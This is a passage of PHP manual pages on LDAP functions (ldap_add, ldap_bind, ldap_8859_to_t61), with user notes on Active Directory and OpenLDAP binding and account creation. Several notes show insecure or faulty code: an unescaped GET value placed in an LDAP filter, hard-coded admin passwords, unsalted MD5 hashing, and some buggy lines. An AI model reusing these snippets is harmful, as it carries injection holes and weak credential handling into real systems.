http://www.phpbuilder.com/mail/php-general/2003022/1459.php

Some methods proven to be working in one instance failed at another instance.
nliu99 at nospam dot yahoo dot com 29-Apr-2003 03:09
libsasl.dll is NOT required for ldap functionalities. Go check out the posting at: http://bugs.php.net/bug.php?id=9485

On win2k I followed these easy steps and got ldap to work:
1. copy php_ldap.dll from the extension folder to winnt/system32
2. edit winnt/php.ini so that ldap is enabled (uncomment the line).
3. restart IIS.
That's it and have fun with ldap.

A note for Microsoft Active Directory
1. You can login with the user email, i.e. user@company.com
2. It's easiest to search for user info with ldap_search by filtering: (userprincipalname=[user])
egeczi at nospamplease dot dist113 dot org 01-Apr-2003 09:05
On Win2k Server running IIS, it is not enough to just restart IIS after enabling the php_ldap extension. You have to restart the server itself.
yorch at correo dot ath dot cx 03-Mar-2003 09:12
Some notes about running LDAP extension on a Win2k box:

After copying php_ldap.php and libsasl.dll in every single directory possible (c:\WinNT\System32, c:\php ...) I decided to read the installation.txt file.
The instructions to install php extensions say: "Some extra DLLs are required for some PHP extensions. Please copy the bundled dlls from the 'dlls/' directory in distribution package to your windows/system (Win9.x) or winnt/system32 (WinNT, Win2000, XP) directory. If you already have these DLLs installed on your system, overwrite them only if something is not working correctly."

So I did exactly that: copy ALL the dll files from "c:\php\dlls" to "c:\WinNT\System32".
Now they load beautifully ;-)

I hope this helps someone.
jon dot caplinger at broadwing dot com 08-Nov-2002 10:44
Here is an example of searching active directory in w2k. Active directory requires a user account that has permissions to search the tree.

/* The following values are used for the example:
  1.  Domain =  microsoft.com
  2.  Server =  unstable
  3.  User = bgates
  4.  Password = iloveopensource
*/

// Get name value to search for from submitted form.

if (isset($HTTP_GET_VARS["name"])) {
     $name = $HTTP_GET_VARS["name"];
}

$ldap_server = "ldap://unstable.microsoft.com";
$auth_user = "bgates@microsoft.com";
$auth_pass = "iloveopensource";

// Set the base dn to search the entire microsoft.com directory.

$base_dn = "DC=microsoft, DC=com";

/* filter the search for all people in the microsoft.com tree that have a name that matches any one of the following attributes name, displayname, or cn. */

$filter = "(&(objectClass=user)(objectCategory=person)
(|(name=$name*)(displayname=$name*)(cn=$name*)))";

// connect to server

if (!($connect=@ldap_connect($ldap))) {
     die("Could not connect to ldap server");
}

// bind to server

if (!($bind=@ldap_bind($connect, $auth_user, $auth_pass))) {
     die("Unable to bind to server");
}

// search active directory

if (!($search=@ldap_search($connect, $base_dn, $filter))) {
     die("Unable to search ldap server");
}

$number_returned = ldap_count_entries($connect,$search);
$info = ldap_get_entries($connect, $search);

echo "The number of entries returned is ". $number_returned;

for ($i=0; $i<$info["count"]; $i++) {
   echo "Name is: ". $info[$i]["name"];
   echo "Display name is: ". $info[$i]["displayname"][0];
   echo "Email is: ". $info[$i]["mail"][0];
   echo "Telephone number is: ". $info[$i]["telephonenumber"][0];
}
gerbille at free dot fr 10-Oct-2002 06:26
The MD5 of PHP returns a result encoded in base16. But the LDAP MD5 returns a string encoded in base64.
$pwd="toto";
$pwd_md5=base64_encode(mhash(MHASH_MD5,$pwd));
Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aur�lia
mike at whisperedlies dot org 09-Sep-2002 09:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu 10-Jul-2002 05:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org 19-Jun-2002 08:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
wtfo at technocraft dot com 23-May-2002 03:40
This worked for me:

function checkNTUser ($username,$password) {
    $ldapserver = 'Your Server';
    $ds=ldap_connect($ldapserver);
    if ($ds) {
        $dn="cn=$username,cn=Users, DC=[sitename], DC=[sitesuffix]";
        $r=@ldap_bind($ds,$dn,$password);
        if ($r) { return true;
        } else {
            return false;
        }
    }
}
sukhruprai at yahoo dot com 04-May-2002 06:56
There is an article about how to compile openldap on windows. Openldap binaries are also available for download (for windows).
http://www.fivesight.com/downloads/openldap.asp
php ^ pixelcop , com 23-Apr-2002 01:33
For those trying to do LDAP authentication with Lotus Domino NAB, the following has worked for me (based on the win2k example by webmaster@autourdupc.com) :

$ip = "localhost";
$dn="CN=Joe Blo, O=myOrganization";
$password = "password";

if (!($ldap = ldap_connect($ip))) {
    die ("Could not connect to LDAP server");
}

print "connected to <b>$ip</b><br/>";

if (!($res = @ldap_bind($ldap, $dn, $password))) {
    die ("Could not bind to $dn");
}

print "user <b>$dn</b> authenticated.<br/>";

$sdn = "O=myOrganization";
$filter = "(objectclass=*)";

print "executing search...<b>DN: $sdn; Filter: $filter</b><br/>";
$sr=ldap_search($ldap, $sdn, $filter);

$info = ldap_get_entries($ldap, $sr);

print $info["count"]." entries returned<hr>";
print "<PRE>";
print_r($info);
print "</PRE>";
webmaster at autourdupc dot com 31-Dec-2001 04:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !
bounty_arz at hotmail dot com 26-Nov-2001 09:46
Hi,

There is a way to Access Active Directory :
- You will have to bind as admin :
eg: administrator@yourdomain.com
or as a user :
eg: fschultz@yourdomain.com
(because you can't search the Subtree as anonymous).

Then you can query, add, delete and modify entries if you respect the syntax of the MS schema.

F.B
http://www.imphar.com
mleaver at scis dot ecu dot edu dot au 08-Mar-2001 01:32
When authenticating to a Win2k LDAP server you must include the name of the person authenticating to the server in the dn

i.e. cn=administrator, cn=users, dc=server, dc=domain, dc=country

Then when you bind to the LDAP database you use:

<?php $res = ldap_bind($ldap, $dn, $password); ?>

So a full example would be:

<?php
if (!($ldap = ldap_connect("<server>", <port>))) {
       die ("Could not connect to LDAP server");
}
$dn = "cn=administrator, cn=users, dc=myserver, dc=com, dc=au";
$password = "MyPassword";
if (!($res = @ldap_bind($ldap, $dn, $password))) {
       die ("Could not bind to $dn");
}
?>

Then you do your list or search functions on the ldap database.
Basic usage
ldap_8859_to_t61
LDAP


Translate 8859 characters to t61 characters

LDAP Functions
ldap_add
LDAP Functions
PHP Manual

ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5)

ldap_8859_to_t61 — Translate 8859 characters to t61 characters

Description

string ldap_8859_to_t61 ( string $value )

Translate ISO-8859 characters to t61 characters.

This function is useful if you have to talk to a legacy LDAPv2 server.

Parameters

value

The text to be translated.

Return Values

Return the t61 translation of value.

See Also

  • ldap_t61_to_8859() - Translate t61 characters to 8859 characters

User Contributed Notes

faruq dot alavi at live dot de 03-May-2010 03:13
Description:

ldap_8859_to_t61() assists in the conversion of strings between ISO 8859-1 and t61 encodings. If the string cannot be converted successfully, the function returns FALSE.

Example:

$converted = ldap_8859_to_t61($data);
echo $converted;
LDAP Functions
ldap_add
LDAP Functions


Add entries to LDAP directory

ldap_8859_to_t61
ldap_bind
LDAP Functions
PHP Manual

ldap_add

(PHP 4, PHP 5)

ldap_add — Add entries to LDAP directory

Description

bool ldap_add ( resource $link_identifier , string $dn , array $entry )

Add entries in the LDAP directory.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

dn

The distinguished name of an LDAP entity.

entry

An array that specifies the information about the entry. The values in the entries are indexed by individual attributes. In case of multiple values for an attribute, they are indexed using integers starting with 0.

<?php
$entree["attribut1"] = "value";
$entree["attribut2"][0] = "value1";
$entree["attribut2"][1] = "value2";
?>

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Complete example with authenticated bind

<?php
$ds = ldap_connect("localhost");  // assuming the LDAP server is on this host

if ($ds) {
    // bind with appropriate dn to give update access
    $r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

    // prepare data
    $info["cn"] = "John Jones";
    $info["sn"] = "Jones";
    $info["mail"] = "jonj@example.com";
    $info["objectclass"] = "person";

    // add data to directory
    $r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

    ldap_close($ds);
} else {
    echo "Unable to connect to LDAP server";
}
?>

Notes

Note: This function is binary-safe.

See Also

  • ldap_delete() - Delete an entry from a directory

User Contributed Notes

sergioshev 22-Apr-2008 10:29
once i'am having problmes to add attributes with boolean syntax (1.3.6.1.4.1.1466.115.121.1.7)

$['boolean_attr']=true; //give me one warning, ldap_add(): Add: Invalid syntax

solved this by setting the value on this:

$['boolean_attr']='TRUE';

hope this can helps.
phil at networkalliance dot com 14-Feb-2008 09:24
I created a simple function that can be called to create global distribution groups in Active Directory:

<?php
function ldap_createGroup($object_name, $dn, $members, $ldap_conn)
{
    $addgroup_ad['cn']="$object_name";
    $addgroup_ad['objectClass'][0] = "top";
    $addgroup_ad['objectClass'][1] ="group";
    $addgroup_ad['groupType']="2";
    $addgroup_ad['member']=$members;
    $addgroup_ad["sAMAccountName"] =$object_name;

    ldap_add($ldap_conn,$dn,$addgroup_ad);

    if(ldap_error($ldap_conn) == "Success")
      return true;
    else
      return false;
}
?>

You can call this function using the follow code:

<?php
$ldap_conn = ldap_bind();
$object_name="Test Group";
$dn="CN=".$object_name.",OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User1,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User2,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";

ldap_createGroup($object_name, $dn, $members, $ldap_conn);
?>

The other function I created is ldap_bind(), and this can be used to bind to an LDAP server:

<?php
function ldap_bind()
{
  $ldap_addr = '192.168.1.1';  // Change this to the IP address of the LDAP server
  $ldap_conn = ldap_connect($ldap_addr) or die("Couldn't connect!");
  ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
  $ldap_rdn = "domain_name\\user_account";
  $ldap_pass = "user_password";

  // Authenticate the user against the domain controller
  $flag_ldap = ldap_bind($ldap_conn,$ldap_rdn,$ldap_pass);
  return $ldap_conn;
}
?>
stian 01-Nov-2007 06:27
This solution works for us.
In the form the CN and pwdtxt are randomly generated from strict rules.
This script creates 50-60 users i AD pr.day! and never even had a glitch!

<?php
## From form
$CN = $_POST['CN'];
$givenName = $_POST['givenName'];
$SN = $_POST['SN'];
$mail = $_POST['mail'];
$Phone = $_POST['Phone'];
$pwdtxt = $_POST['pwdtxt'];

$AD_server = "localhost:390"; // Local Stunnel --> http://www.stunnel.org/
$AD_Auth_User = "administrator@student.somwhere.com"; //Administrative user
$AD_Auth_PWD = "duppiduppdupp"; //The password

$dn = 'CN='.$CN.',OU=Brukere,DC=student,DC=somwhere,DC=com';

## Create Unicode password
$newPassword = "\"" . $pwdtxt . "\"";
$len = strlen($newPassword);
$newPassw = "";

for($i=0;$i<$len;$i++) {
    $newPassw .= "{$newPassword{$i}}\000";
}

## CONNNECT TO AD
$ds = ldap_connect($AD_server);
if ($ds) {
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); // IMPORTANT
    $r = ldap_bind($ds, $AD_Auth_User, $AD_Auth_PWD); //BIND

    $ldaprecord['cn'] = $CN;
    $ldaprecord['givenName'] = $givenName;
    $ldaprecord['sn'] = $SN;
    $ldaprecord['objectclass'][0] = "top";
    $ldaprecord['objectclass'][1] = "person";
    $ldaprecord['objectclass'][1] = "organizationalPerson";
    $ldaprecord['objectclass'][2] = "user";
    $ldaprecord['mail'] = $mail;
    $ldaprecord['telephoneNumber'] = $Phone;
    $ldaprecord["unicodepwd"] = $newPassw;
    $ldaprecord["sAMAccountName"] = $CN;
    $ldaprecord["UserAccountControl"] = "512";
//This is to prevent the user from beeing disabled. -->
http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

    $r = ldap_add($ds, $dn, $ldaprecord);

} else {
    echo "cannot connect to LDAP server at $AD_server.";
}

?>

This is code example creates a user i AD.
We use this on an internal web page to create
temporary users that kan access the wireless network.
We have a .pl script that deletes the users after 24H.
Willie 15-Aug-2007 02:16
In response to:
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
--

I have found that if I have a special character (or a newline) that ldap_add and ldap_modify will automatically do the base64 encoding for you.  For example:

<?php
// assuming binding is done, etc.
$entry['postalAddress'] = "123 East 456 West\nSuite A103";
ldap_modify($ds, $dn, $entry);
?>

The function or server will take the newline and convert it into base64 automatically (same goes for other special characters).

You may be able to verify by using a command-line ldapsearch
ldapsearch -b "dc=example,dc=com" -x "(cn=Example Person)" postalAddress

You'll see that the result comes up as
dn: cn=Example Person,dc=example,dc=com
postalAddress:: MTIzIEVhc3QgNDU2IFdlc3QKU3VpdGUgQTEwMw==

See the double colons after postal address?  That's how LDAP states it's base64 encoded in this case.
damien at groovey dot com 19-Dec-2006 02:08
Here is how to add a user with a hashed MD5 password to OpenLDAP.  I used this technique to migrate Drupal accounts into OpenLDAP for a single-sign-on solution.

The trick to it is to tell OpenLDAP the hash type (e.g. {MD5}) before the password, and also to base64 encode the BINARY hashed result.  You cannot just base64 encode what is returned by PHP's md5() or sha() hash functions, because they return a hexadecimal text string.  First you must use pack("H*", $hash_result) to make that a binary string, THEN you can base64 encode it.

Here is complete code for connecting and adding a user with a hashed password.  You don't have to use {MD5}, you could pick a different hash if that is what you have.  The output from one of these hashed passwords will look like this:  {md5}bdwD04RS9xMDGVi1n/H36Q==

Finally some caveats:  This technique will not work if you hashed the password using a salt value (but Drupal does not).  This technique will also certainly not work with active directory, where passwords can definitely only be set over SSL connections and hashing probably works differently.

---- snip ----

$ds = ldap_connect($serverAddress);
if ($ds) {
  ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);  // otherwise PHP defaults to ldap v2 and you will get a Syntax Error!
  $r = ldap_bind($ds, $managerDN, $managerPassword);
  $ldaprecord['cn'] = $newuser_username;
  $ldaprecord['givenName'] = $newuser_firstname;
  $ldaprecord['sn'] = $newuser_surname;
  // put user in objectClass inetOrgPerson so we can set the mail and phone number attributes
  $ldaprecord['objectclass'][0] = "person";
  $ldaprecord['objectclass'][1] = "organizationalPerson";
  $ldaprecord['objectclass'][2] = "inetOrgPerson";
  $ldaprecord['mail'] = $newuser_email_address;
  $ldaprecord['telephoneNumber'] = $newuser_phone_number;
  // and now the tricky part, base64 encode the binary hash result:
  $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',$newuser_md5hashed_password));
  // If you have the plain text password instead, you could use:
  // $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',md5($newuser_plaintext_password)));
  $r = ldap_add($ds, $base_user_dn, $ldaprecord);
} else { die "cannot connect to LDAP server at $serverAddress."; }
erwann at zeflip dot com 02-Oct-2006 09:20
I was looking at creating a user in Active Directory, and it kept erroring with "Object Class Violation".

I then realised looking at an existing record that all the attributes had to be arrays:

<?
   $info["cn"]= array("John Jones");
   $info["sn"]=array("Jones");
   $info["mail"]=array("jonj@example.com");
   $info["objectclass"]=array("person");

   // add data to directory
   $r=ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);
?>
chad dot smith at 50marketing dot com 29-Sep-2005 02:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com 15-Jul-2005 10:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com 02-May-2005 06:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com 28-Oct-2004 06:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
      [cn] = "name"
      [key] = ""
      [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
        if ($value != ""){
                $object[$key] = $value;
        }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb 21-Oct-2004 02:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk 04-Oct-2004 04:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 06:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 04:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au) 24-Sep-2003 07:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta 19-May-2003 06:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE) 04-Mar-2003 08:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com 22-Oct-2002 02:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au 23-Jun-2002 09:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com 30-Aug-2001 06:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org 12-Sep-1999 04:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():
<?php
function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}
?>
multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:
<?php
switch($form_data_name)
      {
      case 'phone': multi_add("telephoneNumber", $form_data_value); break;
      case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
      case 'email': multi_add("mail", $form_data_value); break;
      ...
      }
?>
In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)
ldap_8859_to_t61
ldap_bind
LDAP Functions


Bind to LDAP directory

ldap_add
ldap_close
LDAP Functions
PHP Manual

ldap_bind

(PHP 4, PHP 5)

ldap_bind — Bind to LDAP directory

Description

bool ldap_bind ( resource $link_identifier [, string $bind_rdn = NULL [, string $bind_password = NULL ]] )

Binds to the LDAP directory with specified RDN and password.

Parameters

link_identifier

An LDAP link identifier, returned by ldap_connect().

bind_rdn

bind_password

If bind_rdn and bind_password are not specified, an anonymous bind is attempted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using LDAP Bind

<?php

// using ldap bind
$ldaprdn  = 'uname';     // ldap rdn or dn
$ldappass = 'password';  // associated password

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding to ldap server
    $ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

    // verify binding
    if ($ldapbind) {
        echo "LDAP bind successful...";
    } else {
        echo "LDAP bind failed...";
    }

}

?>

Example #2 Using LDAP Bind Anonymously

<?php

//using ldap bind anonymously

// connect to ldap server
$ldapconn = ldap_connect("ldap.example.com")
    or die("Could not connect to LDAP server.");

if ($ldapconn) {

    // binding anonymously
    $ldapbind = ldap_bind($ldapconn);

    if ($ldapbind) {
        echo "LDAP bind anonymous successful...";
    } else {
        echo "LDAP bind anonymous failed...";
    }

}

?>

See Also

  • ldap_unbind() - Unbind from LDAP directory

User Contributed Notes

IanB 03-Jan-2012 12:38
If you're using SSL (e.g. ldaps) and ldap_bind is throwing 'Unable to bind to server:' errors, check that the hostname used in the ldap_connect matches the 'CN' in the SSL certificate on the LDAP server. For example:

<?
   ldap_connect('ldaps://ldap01');
  // 'ldap01' should match the CN in your LDAP server's SSL cert, otherwise the subsequent ldap_bind() will throw a bind error

?>

You can check your LDAP server's SSL cert using Openssl utility (Linux) - look for the 'Subject' line:

   $ openssl x509 -in /etc/pki/tls/certs/ldap01.crt -text -noout
   ...
        Subject: C=XY, ST=My State, L=My City, O=My Org, CN=ldap01/emailAddress=me@domain.com
   ...

I recently applied some updates to my system (now Centos 5.7 and PHP 5.3.6) and started having this issue with PHP scripts that had been fine previously where I was simply using the IP address of the server. Replacing the IP address with the hostname fixed my issue.
marnijt at LIKEHAM dot gmail dot com 01-Sep-2011 04:46
After a lot of trail and error i've found the way to authenticate to apple's Opendirectory (snow leopard server) and thought it maybe useful to share.

<?php
    // using ldap bind
    $ldaprdn  = 'uid=USERNAME,cn=users,dc=HOSTNAME,dc=DOMAIN,dc=com';     // ldap rdn or dn
    $ldappass = 'PASSWORD';  // associated password

    // connect to ldap server
    $ldapconn = ldap_connect("HOSTNAME.DOMAIN.com")
            or die("Could not connect to LDAP server.");

    // Set some ldap options for talking to
    ldap_set_option($ldapconn, LDAP_OPT_PROTOCOL_VERSION, 3);
    ldap_set_option($ldapconn, LDAP_OPT_REFERRALS, 0);

    if ($ldapconn) {

            // binding to ldap server
            $ldapbind = @ldap_bind($ldapconn, $ldaprdn, $ldappass);

            // verify binding
            if ($ldapbind) {
                echo "LDAP bind successful...\n";
            } else {
                echo "LDAP bind failed...\n";
            }

    }

?>
bydand1959 at yahoo dot com 24-Jul-2011 04:16
LDAP control support is missing from this implementation. Response controls might be part of the response(s) to the BIND request and must be handled in code.
gtkspert_SPAMMENOT_ at gmail dot com 21-Mar-2011 05:31
Interesting point,

if you can't bind to active directory with the error "49: Invalid Credentials", you can get the extended error output from the ldap_get_option function, using the option: LDAP_OPT_DIAGNOSTIC_MESSAGE. Unfortunately php hasn't defined this by default, but it's value is 0x0032.

This is useful if a user must change their password at first login (Data: 773), or if their account has expired on the network (Data: 532).

<?php

define(LDAP_OPT_DIAGNOSTIC_MESSAGE, 0x0032)

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if ($bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
        echo "Error Binding to LDAP: $extended_error";
    } else {
        echo "Error Binding to LDAP: No additional information is available.";
    }
}
?>

Or something to that effect..

It took me a while to work this one out, so i figured i'd share my results..
elsint at yahoo dot com 16-Dec-2010 02:00
If you are still having trouble after following all the instructions on the Web to get LDAPS to work, here's what worked for me:

I was trying to do LDAPS connection (our LDAP server was using port 40636) by running following command:

ldap_connect("www.example.com",40636)

This didn't work for days till I changed it to the following format:

ldap_connect("ldaps://www.example.com:40636")

Hope it'll help some out there.

-Cagdas
magnetik at magnetik dot org 26-Oct-2010 12:27
Due to a bug in PHP 5.3 you may have to place the ldap.conf in the root of all your drives (I had to place it on D:).

See http://bugs.php.net/bug.php?id=48866
[nie ten]archie 10-Jun-2010 04:48
I'm using OpenLDAP on linux and found out the right bind sequence the hard way... so I'm sharing it with you:

(wkaiser solution is ok if everything works fine, but for development I would suggest using ldap_error command like this)

<?php
$ldapconfig['host'] = '10.10.10.10';
$ldapconfig['port'] = NULL;
$ldapconfig['basedn'] = 'dc=company,dc=com';

$ds=ldap_connect($ldapconfig['host'], $ldapconfig['port']);

$dn="uid=".$username.",ou=people,".$ldapconfig['basedn'];

if ($bind=ldap_bind($ds, $dn, $password)) {
  echo("Login correct");
} else {

  echo("Unable to bind to server.</br>");

  echo("msg:'".ldap_error($ds)."'</br>");#check if the message isn't: Can't contact LDAP server :)
  #if it say something about a cn or user then you are trying with the wrong $dn pattern i found this by looking at OpenLDAP source code :)
  #we can figure out the right pattern by searching the user tree
  #remember to turn on the anonymous search on the ldap server
  if ($bind=ldap_bind($ds)) {

    $filter = "(cn=*)";

    if (!($search=@ldap_search($ds, $ldapconfig['basedn'], $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ds)."'</br>");#check the message again
    } else {
      $number_returned = ldap_count_entries($ds,$search);
      $info = ldap_get_entries($ds, $search);
      echo "The number of entries returned is ". $number_returned."<p>";
      for ($i=0; $i<$info["count"]; $i++) {

